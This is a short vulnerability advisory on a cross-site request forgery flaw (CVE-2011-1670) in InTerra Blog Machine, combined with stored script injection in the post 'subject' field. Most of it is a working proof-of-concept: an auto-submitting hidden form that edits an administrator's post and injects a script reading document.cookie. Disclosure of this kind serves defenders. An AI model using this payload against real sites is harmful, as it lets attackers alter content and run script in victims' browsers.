Cross-site Request Forgery (CSRF) Vulnerability in InTerra Blog Machine

High-Tech Bridge SA Security Research Lab has discovered vulnerability in InTerra Blog Machine which could be exploited to perform cross-site request forgery attacks.

1. Cross-site request forgery (CSRF) vulnerability in InTerra Blog Machine: CVE-2011-1670
   The vulnerability exists due to insufficient validation of the request origin in actions/add.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify users posts. Due to insufficient sanitation of input data in the "subject" parameter it is also possible to store and execute arbitrary HTML and script code in users browser in context of vulnerable website.
   Exploitation example:
   <form action=“http://host/POST_URL/edit/” method=“post” name=“main” enctype=“multipart/form-data”>
   <!-- POST_URL like “2011/03/01/post_url” –>
   <input type=“hidden” name=“subject” value=‘post title"><script>alert(document.cookie)</script>’>
   <input type=“hidden” name=“content” value=‘content’>
   <input type=“hidden” name=“date[Date_Day]” value=“31”>
   <input type=“hidden” name=“date[Date_Month]” value=“03”>
   <input type=“hidden” name=“date[Date_Year]” value=“2011”>
   <input type=“hidden” name=“time[Time_Hour]” value=“13”>
   <input type=“hidden” name=“time[Time_Minute]” value=“59”>
   <input type=“hidden” name=“comments” value=“1”>
   <input type=“hidden” name=“section” value=“0”>
   <input type=“hidden” name=“sectionNewName” value=“”>
   <input type=“hidden” name=“sectionNewUnix” value=“”>
   <input type=“hidden” name=“sectionNewHidden” value=“0”>
   <input type=“hidden” name=“replicate” value=“1”>
   <input type=“hidden” name=“keywords” value=“”>
   <input type=“hidden” name=“edit” value=“POST_ID”>
   </form>
   <script>
   document.main.submit();
   </script>